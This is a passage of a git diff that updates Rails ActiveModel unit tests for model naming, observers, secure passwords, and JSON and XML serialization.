+    assert_nothing_raised do
+      BasicModel.new()
+      BasicModel.new({})
+    end
+  end
+end
diff --git a/activemodel/test/cases/naming_test.rb b/activemodel/test/cases/naming_test.rb
index 5f943729dd..49d8706ac2 100644
--- a/activemodel/test/cases/naming_test.rb
+++ b/activemodel/test/cases/naming_test.rb
@@ -25,15 +25,13 @@ class NamingTest < ActiveModel::TestCase
     assert_equal 'post/track_backs', @model_name.collection
   end
 
-  def test_partial_path
-    assert_deprecated(/#partial_path.*#to_partial_path/) do
-      assert_equal 'post/track_backs/track_back', @model_name.partial_path
-    end
-  end
-
   def test_human
     assert_equal 'Track back', @model_name.human
   end
+
+  def test_i18n_key
+    assert_equal :"post/track_back", @model_name.i18n_key
+  end
 end
 
 class NamingWithNamespacedModelInIsolatedNamespaceTest < ActiveModel::TestCase
@@ -57,12 +55,6 @@ class NamingWithNamespacedModelInIsolatedNamespaceTest < ActiveModel::TestCase
     assert_equal 'blog/posts', @model_name.collection
   end
 
-  def test_partial_path
-    assert_deprecated(/#partial_path.*#to_partial_path/) do
-      assert_equal 'blog/posts/post', @model_name.partial_path
-    end
-  end
-
   def test_human
     assert_equal 'Post', @model_name.human
   end
@@ -75,8 +67,8 @@ class NamingWithNamespacedModelInIsolatedNamespaceTest < ActiveModel::TestCase
     assert_equal 'post', @model_name.param_key
   end
 
-  def test_recognizing_namespace
-    assert_equal 'Post', Blog::Post.model_name.instance_variable_get("@unnamespaced")
+  def test_i18n_key
+    assert_equal :"blog/post", @model_name.i18n_key
   end
 end
 
@@ -101,12 +93,6 @@ class NamingWithNamespacedModelInSharedNamespaceTest < ActiveModel::TestCase
     assert_equal 'blog/posts', @model_name.collection
   end
 
-  def test_partial_path
-    assert_deprecated(/#partial_path.*#to_partial_path/) do
-      assert_equal 'blog/posts/post', @model_name.partial_path
-    end
-  end
-
   def test_human
     assert_equal 'Post', @model_name.human
   end
@@ -118,6 +104,10 @@ class NamingWithNamespacedModelInSharedNamespaceTest < ActiveModel::TestCase
   def test_param_key
     assert_equal 'blog_post', @model_name.param_key
   end
+
+  def test_i18n_key
+    assert_equal :"blog/post", @model_name.i18n_key
+  end
 end
 
 class NamingWithSuppliedModelNameTest < ActiveModel::TestCase
@@ -141,12 +131,6 @@ class NamingWithSuppliedModelNameTest < ActiveModel::TestCase
     assert_equal 'articles', @model_name.collection
   end
 
-  def test_partial_path
-    assert_deprecated(/#partial_path.*#to_partial_path/) do
-      assert_equal 'articles/article', @model_name.partial_path
-    end
-  end
-
   def test_human
     assert_equal 'Article', @model_name.human
   end
@@ -158,15 +142,58 @@ class NamingWithSuppliedModelNameTest < ActiveModel::TestCase
   def test_param_key
     assert_equal 'article', @model_name.param_key
   end
+
+  def test_i18n_key
+    assert_equal :"article", @model_name.i18n_key
+  end
+end
+
+class NamingUsingRelativeModelNameTest < ActiveModel::TestCase
+  def setup
+    @model_name = Blog::Post.model_name
+  end
+
+  def test_singular
+    assert_equal 'blog_post', @model_name.singular
+  end
+
+  def test_plural
+    assert_equal 'blog_posts', @model_name.plural
+  end
+
+  def test_element
+    assert_equal 'post', @model_name.element
+  end
+
+  def test_collection
+    assert_equal 'blog/posts', @model_name.collection
+  end
+
+  def test_human
+    assert_equal 'Post', @model_name.human
+  end
+
+  def test_route_key
+    assert_equal 'posts', @model_name.route_key
+  end
+
+  def test_param_key
+    assert_equal 'post', @model_name.param_key
+  end
+
+  def test_i18n_key
+    assert_equal :"blog/post", @model_name.i18n_key
+  end
 end
 
-class NamingHelpersTest < Test::Unit::TestCase
+class NamingHelpersTest < ActiveModel::TestCase
   def setup
     @klass  = Contact
     @record = @klass.new
     @singular = 'contact'
     @plural = 'contacts'
     @uncountable = Sheep
+    @singular_route_key = 'contact'
     @route_key = 'contacts'
     @param_key = 'contact'
   end
@@ -193,10 +220,12 @@ class NamingHelpersTest < Test::Unit::TestCase
 
   def test_route_key
     assert_equal @route_key, route_key(@record)
+    assert_equal @singular_route_key, singular_route_key(@record)
   end
 
   def test_route_key_for_class
     assert_equal @route_key, route_key(@klass)
+    assert_equal @singular_route_key, singular_route_key(@klass)
   end
 
   def test_param_key
@@ -212,8 +241,26 @@ class NamingHelpersTest < Test::Unit::TestCase
     assert !uncountable?(@klass), "Expected 'contact' to be countable"
   end
 
+  def test_uncountable_route_key
+    assert_equal "sheep", singular_route_key(@uncountable)
+    assert_equal "sheep_index", route_key(@uncountable)
+  end
+
   private
     def method_missing(method, *args)
       ActiveModel::Naming.send(method, *args)
     end
 end
+
+class NameWithAnonymousClassTest < ActiveModel::TestCase
+  def test_anonymous_class_without_name_argument
+    assert_raises(ArgumentError) do
+      ActiveModel::Name.new(Class.new)
+    end
+  end
+
+  def test_anonymous_class_with_name_argument
+    model_name = ActiveModel::Name.new(Class.new, nil, "Anonymous")
+    assert_equal "Anonymous", model_name
+  end
+end
diff --git a/activemodel/test/cases/observing_test.rb b/activemodel/test/cases/observing_test.rb
index f6ec24ae57..ade6026602 100644
--- a/activemodel/test/cases/observing_test.rb
+++ b/activemodel/test/cases/observing_test.rb
@@ -14,8 +14,8 @@ class FooObserver < ActiveModel::Observer
 
   attr_accessor :stub
 
-  def on_spec(record)
-    stub.event_with(record) if stub
+  def on_spec(record, *args)
+    stub.event_with(record, *args) if stub
   end
 
   def around_save(record)
@@ -70,23 +70,38 @@ class ObservingTest < ActiveModel::TestCase
     ObservedModel.instantiate_observers
   end
 
+  test "raises an appropriate error when a developer accidentally adds the wrong class (i.e. Widget instead of WidgetObserver)" do
+    assert_raise ArgumentError do
+      ObservedModel.observers = ['string']
+      ObservedModel.instantiate_observers
+    end
+    assert_raise ArgumentError do
+      ObservedModel.observers = [:string]
+      ObservedModel.instantiate_observers
+    end
+    assert_raise ArgumentError do
+      ObservedModel.observers = [String]
+      ObservedModel.instantiate_observers
+    end
+  end
+
   test "passes observers to subclasses" do
     FooObserver.instance
     bar = Class.new(Foo)
-    assert_equal Foo.count_observers, bar.count_observers
+    assert_equal Foo.observers_count, bar.observers_count
   end
 end
 
 class ObserverTest < ActiveModel::TestCase
   def setup
     ObservedModel.observers = :foo_observer
-    FooObserver.instance_eval do
+    FooObserver.singleton_class.instance_eval do
       alias_method :original_observed_classes, :observed_classes
     end
   end
 
   def teardown
-    FooObserver.instance_eval do
+    FooObserver.singleton_class.instance_eval do
       undef_method :observed_classes
       alias_method :observed_classes, :original_observed_classes
     end
@@ -98,44 +113,51 @@ class ObserverTest < ActiveModel::TestCase
 
   test "tracks implicit observable models" do
     instance = FooObserver.new
-    assert  instance.send(:observed_classes).include?(Foo), "Foo not in #{instance.send(:observed_classes).inspect}"
-    assert !instance.send(:observed_classes).include?(ObservedModel), "ObservedModel in #{instance.send(:observed_classes).inspect}"
+    assert_equal [Foo], instance.observed_classes
   end
 
   test "tracks explicit observed model class" do
-    old_instance = FooObserver.new
-    assert !old_instance.send(:observed_classes).include?(ObservedModel), "ObservedModel in #{old_instance.send(:observed_classes).inspect}"
     FooObserver.observe ObservedModel
     instance = FooObserver.new
-    assert instance.send(:observed_classes).include?(ObservedModel), "ObservedModel not in #{instance.send(:observed_classes).inspect}"
+    assert_equal [ObservedModel], instance.observed_classes
   end
 
   test "tracks explicit observed model as string" do
-    old_instance = FooObserver.new
-    assert !old_instance.send(:observed_classes).include?(ObservedModel), "ObservedModel in #{old_instance.send(:observed_classes).inspect}"
     FooObserver.observe 'observed_model'
     instance = FooObserver.new
-    assert instance.send(:observed_classes).include?(ObservedModel), "ObservedModel not in #{instance.send(:observed_classes).inspect}"
+    assert_equal [ObservedModel], instance.observed_classes
   end
 
   test "tracks explicit observed model as symbol" do
-    old_instance = FooObserver.new
-    assert !old_instance.send(:observed_classes).include?(ObservedModel), "ObservedModel in #{old_instance.send(:observed_classes).inspect}"
     FooObserver.observe :observed_model
     instance = FooObserver.new
-    assert instance.send(:observed_classes).include?(ObservedModel), "ObservedModel not in #{instance.send(:observed_classes).inspect}"
+    assert_equal [ObservedModel], instance.observed_classes
   end
 
   test "calls existing observer event" do
     foo = Foo.new
     FooObserver.instance.stub = stub
     FooObserver.instance.stub.expects(:event_with).with(foo)
-    Foo.send(:notify_observers, :on_spec, foo)
+    Foo.notify_observers(:on_spec, foo)
+  end
+
+  test "calls existing observer event from the instance" do
+    foo = Foo.new
+    FooObserver.instance.stub = stub
+    FooObserver.instance.stub.expects(:event_with).with(foo)
+    foo.notify_observers(:on_spec)
+  end
+
+  test "passes extra arguments" do
+    foo = Foo.new
+    FooObserver.instance.stub = stub
+    FooObserver.instance.stub.expects(:event_with).with(foo, :bar)
+    Foo.send(:notify_observers, :on_spec, foo, :bar)
   end
 
   test "skips nonexistent observer event" do
     foo = Foo.new
-    Foo.send(:notify_observers, :whatever, foo)
+    Foo.notify_observers(:whatever, foo)
   end
 
   test "update passes a block on to the observer" do
@@ -145,4 +167,15 @@ class ObserverTest < ActiveModel::TestCase
     end
     assert_equal :in_around_save, yielded_value
   end
+
+  test "observe redefines observed_classes class method" do
+    class BarObserver < ActiveModel::Observer
+      observe :foo
+    end
+
+    assert_equal [Foo], BarObserver.observed_classes
+
+    BarObserver.observe(ObservedModel)
+    assert_equal [ObservedModel], BarObserver.observed_classes
+  end
 end
diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb
index 4338a3fc53..8650b0e495 100644
--- a/activemodel/test/cases/secure_password_test.rb
+++ b/activemodel/test/cases/secure_password_test.rb
@@ -1,5 +1,6 @@
 require 'cases/helper'
 require 'models/user'
+require 'models/oauthed_user'
 require 'models/visitor'
 require 'models/administrator'
 
@@ -7,28 +8,39 @@ class SecurePasswordTest < ActiveModel::TestCase
 
   setup do
     @user = User.new
+    @visitor = Visitor.new
+    @oauthed_user = OauthedUser.new
   end
 
   test "blank password" do
-    @user.password = ''
-    assert !@user.valid?, 'user should be invalid'
+    @user.password = @visitor.password = ''
+    assert !@user.valid?(:create), 'user should be invalid'
+    assert @visitor.valid?(:create), 'visitor should be valid'
   end
 
   test "nil password" do
-    @user.password = nil
-    assert !@user.valid?, 'user should be invalid'
+    @user.password = @visitor.password = nil
+    assert !@user.valid?(:create), 'user should be invalid'
+    assert @visitor.valid?(:create), 'visitor should be valid'
+  end
+
+  test "blank password doesn't override previous password" do
+    @user.password = 'test'
+    @user.password = ''
+    assert_equal @user.password, 'test'
   end
 
   test "password must be present" do
-    assert !@user.valid?
+    assert !@user.valid?(:create)
     assert_equal 1, @user.errors.size
   end
 
-  test "password must match confirmation" do
-    @user.password = "thiswillberight"
-    @user.password_confirmation = "wrong"
+  test "match confirmation" do
+    @user.password = @visitor.password = "thiswillberight"
+    @user.password_confirmation = @visitor.password_confirmation = "wrong"
 
     assert !@user.valid?
+    assert @visitor.valid?
 
     @user.password_confirmation = "thiswillberight"
 
@@ -53,4 +65,20 @@ class SecurePasswordTest < ActiveModel::TestCase
     assert !active_authorizer.include?(:password_digest)
     assert active_authorizer.include?(:name)
   end
+  
+  test "User should not be created with blank digest" do
+    assert_raise RuntimeError do 
+      @user.run_callbacks :create
+    end
+    @user.password = "supersecretpassword"
+    assert_nothing_raised do
+      @user.run_callbacks :create
+    end
+  end
+  
+  test "Oauthed user can be created with blank digest" do
+    assert_nothing_raised do
+      @oauthed_user.run_callbacks :create
+    end
+  end
 end
diff --git a/activemodel/test/cases/serialization_test.rb b/activemodel/test/cases/serialization_test.rb
index b8dad9d51f..d2ba9fd95d 100644
--- a/activemodel/test/cases/serialization_test.rb
+++ b/activemodel/test/cases/serialization_test.rb
@@ -43,38 +43,38 @@ class SerializationTest < ActiveModel::TestCase
   end
 
   def test_method_serializable_hash_should_work
-    expected =  {"name"=>"David", "gender"=>"male", "email"=>"david@example.com"}
-    assert_equal expected , @user.serializable_hash
+    expected = {"name"=>"David", "gender"=>"male", "email"=>"david@example.com"}
+    assert_equal expected, @user.serializable_hash
   end
 
   def test_method_serializable_hash_should_work_with_only_option
-    expected =  {"name"=>"David"}
-    assert_equal expected , @user.serializable_hash(:only => [:name])
+    expected = {"name"=>"David"}
+    assert_equal expected, @user.serializable_hash(:only => [:name])
   end
 
   def test_method_serializable_hash_should_work_with_except_option
-    expected =  {"gender"=>"male", "email"=>"david@example.com"}
-    assert_equal expected , @user.serializable_hash(:except => [:name])
+    expected = {"gender"=>"male", "email"=>"david@example.com"}
+    assert_equal expected, @user.serializable_hash(:except => [:name])
   end
 
   def test_method_serializable_hash_should_work_with_methods_option
-    expected =  {"name"=>"David", "gender"=>"male", :foo=>"i_am_foo", "email"=>"david@example.com"}
-    assert_equal expected , @user.serializable_hash(:methods => [:foo])
+    expected = {"name"=>"David", "gender"=>"male", "foo"=>"i_am_foo", "email"=>"david@example.com"}
+    assert_equal expected, @user.serializable_hash(:methods => [:foo])
   end
 
   def test_method_serializable_hash_should_work_with_only_and_methods
-    expected =  {:foo=>"i_am_foo"}
-    assert_equal expected , @user.serializable_hash(:only => [], :methods => [:foo])
+    expected = {"foo"=>"i_am_foo"}
+    assert_equal expected, @user.serializable_hash(:only => [], :methods => [:foo])
   end
 
   def test_method_serializable_hash_should_work_with_except_and_methods
-    expected =  {"gender"=>"male", :foo=>"i_am_foo"}
-    assert_equal expected , @user.serializable_hash(:except => [:name, :email], :methods => [:foo])
+    expected = {"gender"=>"male", "foo"=>"i_am_foo"}
+    assert_equal expected, @user.serializable_hash(:except => [:name, :email], :methods => [:foo])
   end
 
   def test_should_not_call_methods_that_dont_respond
-    expected =  {"name"=>"David", "gender"=>"male", "email"=>"david@example.com"}
-    assert_equal expected , @user.serializable_hash(:methods => [:bar])
+    expected = {"name"=>"David", "gender"=>"male", "email"=>"david@example.com"}
+    assert_equal expected, @user.serializable_hash(:methods => [:bar])
   end
 
   def test_should_use_read_attribute_for_serialization
@@ -87,65 +87,82 @@ class SerializationTest < ActiveModel::TestCase
   end
 
   def test_include_option_with_singular_association
-    expected =  {"name"=>"David", "gender"=>"male", "email"=>"david@example.com",
-                 :address=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111}}
-    assert_equal expected , @user.serializable_hash(:include => :address)
+    expected = {"name"=>"David", "gender"=>"male", "email"=>"david@example.com",
+                "address"=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111}}
+    assert_equal expected, @user.serializable_hash(:include => :address)
   end
 
   def test_include_option_with_plural_association
-    expected =  {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
-                 :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
-                            {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
-    assert_equal expected , @user.serializable_hash(:include => :friends)
+    expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
+                "friends"=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
+                           {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
+    assert_equal expected, @user.serializable_hash(:include => :friends)
   end
 
   def test_include_option_with_empty_association
     @user.friends = []
-    expected =  {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", :friends=>[]}
-    assert_equal expected , @user.serializable_hash(:include => :friends)
+    expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", "friends"=>[]}
+    assert_equal expected, @user.serializable_hash(:include => :friends)
+  end
+
+  class FriendList
+    def initialize(friends)
+      @friends = friends
+    end
+
+    def to_ary
+      @friends
+    end
+  end
+
+  def test_include_option_with_ary
+    @user.friends = FriendList.new(@user.friends)
+    expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
+                "friends"=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
+                           {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
+    assert_equal expected, @user.serializable_hash(:include => :friends)
   end
 
   def test_multiple_includes
-    expected =  {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
-                 :address=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111},
-                 :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
-                            {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
-    assert_equal expected , @user.serializable_hash(:include => [:address, :friends])
+    expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
+                "address"=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111},
+                "friends"=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
+                           {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
+    assert_equal expected, @user.serializable_hash(:include => [:address, :friends])
   end
 
   def test_include_with_options
-    expected =  {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
-                 :address=>{"street"=>"123 Lane"}}
-    assert_equal expected , @user.serializable_hash(:include => {:address => {:only => "street"}})
+    expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
+                "address"=>{"street"=>"123 Lane"}}
+    assert_equal expected, @user.serializable_hash(:include => {:address => {:only => "street"}})
   end
 
   def test_nested_include
     @user.friends.first.friends = [@user]
-    expected =  {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
-                 :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male',
-                             :friends => [{"email"=>"david@example.com", "gender"=>"male", "name"=>"David"}]},
-                            {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female', :friends => []}]}
-    assert_equal expected , @user.serializable_hash(:include => {:friends => {:include => :friends}})
+    expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
+                "friends"=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male',
+                            "friends"=> [{"email"=>"david@example.com", "gender"=>"male", "name"=>"David"}]},
+                            {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female', "friends"=> []}]}
+    assert_equal expected, @user.serializable_hash(:include => {:friends => {:include => :friends}})
   end
 
   def test_only_include
-    expected = {"name"=>"David", :friends => [{"name" => "Joe"}, {"name" => "Sue"}]}
-    assert_equal expected , @user.serializable_hash(:only => :name, :include => {:friends => {:only => :name}})
+    expected = {"name"=>"David", "friends" => [{"name" => "Joe"}, {"name" => "Sue"}]}
+    assert_equal expected, @user.serializable_hash(:only => :name, :include => {:friends => {:only => :name}})
   end
 
   def test_except_include
     expected = {"name"=>"David", "email"=>"david@example.com",
-                                :friends => [{"name" => 'Joe', "email" => 'joe@example.com'},
-                                             {"name" => "Sue", "email" => 'sue@example.com'}]}
-    assert_equal expected , @user.serializable_hash(:except => :gender, :include => {:friends => {:except => :gender}})
+                "friends"=> [{"name" => 'Joe', "email" => 'joe@example.com'},
+                             {"name" => "Sue", "email" => 'sue@example.com'}]}
+    assert_equal expected, @user.serializable_hash(:except => :gender, :include => {:friends => {:except => :gender}})
   end
 
   def test_multiple_includes_with_options
-    expected =  {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
-                 :address=>{"street"=>"123 Lane"},
-                 :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
-                            {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
-    assert_equal expected , @user.serializable_hash(:include => [{:address => {:only => "street"}}, :friends])
+    expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David",
+                "address"=>{"street"=>"123 Lane"},
+                "friends"=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'},
+                           {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]}
+    assert_equal expected, @user.serializable_hash(:include => [{:address => {:only => "street"}}, :friends])
   end
-
 end
diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb
index a754d610b9..e2690f1827 100644
--- a/activemodel/test/cases/serializers/json_serialization_test.rb
+++ b/activemodel/test/cases/serializers/json_serialization_test.rb
@@ -14,9 +14,11 @@ class Contact
     end
   end
 
+  remove_method :attributes if method_defined?(:attributes)
+
   def attributes
     instance_values
-  end unless method_defined?(:attributes)
+  end
 end
 
 class JsonSerializationTest < ActiveModel::TestCase
@@ -29,10 +31,15 @@ class JsonSerializationTest < ActiveModel::TestCase
     @contact.preferences = { 'shows' => 'anime' }
   end
 
-  test "should include root in json" do
+  def teardown
+    # set to the default value
+    Contact.include_root_in_json = false
+  end
+
+  test "should not include root in json (class method)" do
     json = @contact.to_json
 
-    assert_match %r{^\{"contact":\{}, json
+    assert_no_match %r{^\{"contact":\{}, json
     assert_match %r{"name":"Konata Izumi"}, json
     assert_match %r{"age":16}, json
     assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
@@ -40,41 +47,31 @@ class JsonSerializationTest < ActiveModel::TestCase
     assert_match %r{"preferences":\{"shows":"anime"\}}, json
   end
 
-  test "should not include root in json (class method)" do
-    begin
-      Contact.include_root_in_json = false
-      json = @contact.to_json
-
-      assert_no_match %r{^\{"contact":\{}, json
-      assert_match %r{"name":"Konata Izumi"}, json
-      assert_match %r{"age":16}, json
-      assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
-      assert_match %r{"awesome":true}, json
-      assert_match %r{"preferences":\{"shows":"anime"\}}, json
-    ensure
-      Contact.include_root_in_json = true
-    end
+  test "should include root in json if include_root_in_json is true" do
+    Contact.include_root_in_json = true
+    json = @contact.to_json
+
+    assert_match %r{^\{"contact":\{}, json
+    assert_match %r{"name":"Konata Izumi"}, json
+    assert_match %r{"age":16}, json
+    assert json.include?(%("created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}))
+    assert_match %r{"awesome":true}, json
+    assert_match %r{"preferences":\{"shows":"anime"\}}, json
   end
 
   test "should include root in json (option) even if the default is set to false" do
-    begin
-      Contact.include_root_in_json = false
-      json = @contact.to_json(:root => true)
-      assert_match %r{^\{"contact":\{}, json
-    ensure
-      Contact.include_root_in_json = true
-    end
+    json = @contact.to_json(root: true)
+    assert_match %r{^\{"contact":\{}, json
   end
 
   test "should not include root in json (option)" do
-
-    json = @contact.to_json(:root => false)
+    json = @contact.to_json(root: false)
 
     assert_no_match %r{^\{"contact":\{}, json
   end
 
   test "should include custom root in json" do
-    json = @contact.to_json(:root => 'json_contact')
+    json = @contact.to_json(root: 'json_contact')
 
     assert_match %r{^\{"json_contact":\{}, json
     assert_match %r{"name":"Konata Izumi"}, json
@@ -105,7 +102,7 @@ class JsonSerializationTest < ActiveModel::TestCase
   end
 
   test "should allow attribute filtering with except" do
-    json = @contact.to_json(:except => [:name, :age])
+    json = @contact.to_json(except: [:name, :age])
 
     assert_no_match %r{"name":"Konata Izumi"}, json
     assert_no_match %r{"age":16}, json
@@ -120,35 +117,36 @@ class JsonSerializationTest < ActiveModel::TestCase
     def @contact.favorite_quote; "Constraints are liberating"; end
 
     # Single method.
-    assert_match %r{"label":"Has cheezburger"}, @contact.to_json(:only => :name, :methods => :label)
+    assert_match %r{"label":"Has cheezburger"}, @contact.to_json(only: :name, methods: :label)
 
     # Both methods.
-    methods_json = @contact.to_json(:only => :name, :methods => [:label, :favorite_quote])
+    methods_json = @contact.to_json(only: :name, methods: [:label, :favorite_quote])
     assert_match %r{"label":"Has cheezburger"}, methods_json
     assert_match %r{"favorite_quote":"Constraints are liberating"}, methods_json
   end
 
-  test "should return OrderedHash for errors" do
+  test "should return Hash for errors" do
     contact = Contact.new
     contact.errors.add :name, "can't be blank"
     contact.errors.add :name, "is too short (minimum is 2 characters)"
     contact.errors.add :age, "must be 16 or over"
 
-    hash = ActiveSupport::OrderedHash.new
+    hash = {}
     hash[:name] = ["can't be blank", "is too short (minimum is 2 characters)"]
     hash[:age]  = ["must be 16 or over"]
     assert_equal hash.to_json, contact.errors.to_json
   end
 
   test "serializable_hash should not modify options passed in argument" do
-    options = { :except => :name }
+    options = { except: :name }
     @contact.serializable_hash(options)
 
     assert_nil options[:only]
     assert_equal :name, options[:except]
   end
 
-  test "as_json should return a hash" do
+  test "as_json should return a hash if include_root_in_json is true" do
+    Contact.include_root_in_json = true
     json = @contact.as_json
 
     assert_kind_of Hash, json
@@ -158,7 +156,7 @@ class JsonSerializationTest < ActiveModel::TestCase
     end
   end
 
-  test "from_json should set the object's attributes" do
+  test "from_json should work without a root (class attribute)" do
     json = @contact.to_json
     result = Contact.new.from_json(json)
 
@@ -170,7 +168,7 @@ class JsonSerializationTest < ActiveModel::TestCase
   end
 
   test "from_json should work without a root (method parameter)" do
-    json = @contact.to_json(:root => false)
+    json = @contact.to_json
     result = Contact.new.from_json(json, false)
 
     assert_equal result.name, @contact.name
@@ -180,24 +178,19 @@ class JsonSerializationTest < ActiveModel::TestCase
     assert_equal result.preferences, @contact.preferences
   end
 
-  test "from_json should work without a root (class attribute)" do
-    begin
-      Contact.include_root_in_json = false
-      json = @contact.to_json
-      result = Contact.new.from_json(json)
-
-      assert_equal result.name, @contact.name
-      assert_equal result.age, @contact.age
-      assert_equal Time.parse(result.created_at), @contact.created_at
-      assert_equal result.awesome, @contact.awesome
-      assert_equal result.preferences, @contact.preferences
-    ensure
-      Contact.include_root_in_json = true
-    end
+  test "from_json should work with a root (method parameter)" do
+    json = @contact.to_json(root: :true)
+    result = Contact.new.from_json(json, true)
+
+    assert_equal result.name, @contact.name
+    assert_equal result.age, @contact.age
+    assert_equal Time.parse(result.created_at), @contact.created_at
+    assert_equal result.awesome, @contact.awesome
+    assert_equal result.preferences, @contact.preferences
   end
 
   test "custom as_json should be honored when generating json" do
-    def @contact.as_json(options); { :name => name, :created_at => created_at }; end
+    def @contact.as_json(options); { name: name, created_at: created_at }; end
     json = @contact.to_json
 
     assert_match %r{"name":"Konata Izumi"}, json
@@ -207,7 +200,7 @@ class JsonSerializationTest < ActiveModel::TestCase
   end
 
   test "custom as_json options should be extendible" do
-    def @contact.as_json(options = {}); super(options.merge(:only => [:name])); end
+    def @contact.as_json(options = {}); super(options.merge(only: [:name])); end
     json = @contact.to_json
 
     assert_match %r{"name":"Konata Izumi"}, json
@@ -215,5 +208,4 @@ class JsonSerializationTest < ActiveModel::TestCase
     assert_no_match %r{"awesome":}, json
     assert_no_match %r{"preferences":}, json
   end
-
 end
diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb
index fc73d9dcd8..8c5a3c5efd 100644..100755
--- a/activemodel/test/cases/serializers/xml_serialization_test.rb
+++ b/activemodel/test/cases/serializers/xml_serialization_test.rb
@@ -9,6 +9,8 @@ class Contact
 
   attr_accessor :address, :friends
 
+  remove_method :attributes if method_defined?(:attributes)
+
   def attributes
     instance_values.except("address", "friends")
   end
@@ -26,7 +28,7 @@ class Address
   extend ActiveModel::Naming
   include ActiveModel::Serializers::Xml
 
-  attr_accessor :street, :city, :state, :zip
+  attr_accessor :street, :city, :state, :zip, :apt_number
 
   def attributes
     instance_values
@@ -54,6 +56,7 @@ class XmlSerializationTest < ActiveModel::TestCase
     @contact.address.city = "Springfield"
     @contact.address.state = "CA"
     @contact.address.zip = 11111
+    @contact.address.apt_number = 35
     @contact.friends = [Contact.new, Contact.new]
   end
 
@@ -102,7 +105,7 @@ class XmlSerializationTest < ActiveModel::TestCase
     assert_match %r{<createdAt},     @xml
   end
 
-  test "should use serialiable hash" do
+  test "should use serializable hash" do
     @contact = SerializableContact.new
     @contact.name = 'aaron stack'
     @contact.age = 25
@@ -138,7 +141,7 @@ class XmlSerializationTest < ActiveModel::TestCase
   end
 
   test "should serialize datetime" do
-    assert_match %r{<created-at type=\"datetime\">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
+    assert_match %r{<created-at type=\"dateTime\">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml
   end
 
   test "should serialize boolean" do
@@ -186,6 +189,23 @@ class XmlSerializationTest < ActiveModel::TestCase
     assert_match %r{<friend type="Contact">}, xml
   end
 
+  class FriendList
+    def initialize(friends)
+      @friends = friends
+    end
+
+    def to_ary
+      @friends
+    end
+  end
+
+  test "include option with ary" do
+    @contact.friends = FriendList.new(@contact.friends)
+    xml = @contact.to_xml :include => :friends, :indent => 0
+    assert_match %r{<friends type="array">}, xml
+    assert_match %r{<friend type="Contact">}, xml
+  end
+
   test "multiple includes" do
     xml = @contact.to_xml :indent => 0, :skip_instruct => true, :include => [ :address, :friends ]
     assert xml.include?(@contact.address.to_xml(:indent => 0, :skip_instruct => true))
@@ -203,4 +223,39 @@ class XmlSerializationTest < ActiveModel::TestCase
     assert_match %r{<friends>}, xml
     assert_match %r{<friend>}, xml
   end
+
+  test "propagates skip-types option to included associations and attributes" do
+    xml = @contact.to_xml :skip_types => true, :include => :address, :indent => 0
+    assert_match %r{<address>}, xml
+    assert_match %r{<apt-number>}, xml
+  end
+
+  test "propagates camelize option to included associations and attributes" do
+    xml = @contact.to_xml :camelize => true, :include => :address, :indent => 0
+    assert_match %r{<Address>}, xml
+    assert_match %r{<AptNumber type="integer">}, xml
+  end
+
+  test "propagates dasherize option to included associations and attributes" do
+    xml = @contact.to_xml :dasherize => false, :include => :address, :indent => 0
+    assert_match %r{<apt_number type="integer">}, xml
+  end
+
+  test "don't propagate skip_types if skip_types is defined at the included association level" do
+    xml = @contact.to_xml :skip_types => true, :include => { :address => { :skip_types => false } }, :indent => 0
+    assert_match %r{<address>}, xml
+    assert_match %r{<apt-number type="integer">}, xml
+  end
+
+  test "don't propagate camelize if camelize is defined at the included association level" do
+    xml = @contact.to_xml :camelize => true, :include => { :address => { :camelize => false } }, :indent => 0
+    assert_match %r{<address>}, xml
+    assert_match %r{<apt-number type="integer">}, xml
+  end
+
+  test "don't propagate dasherize if dasherize is defined at the included association level" do
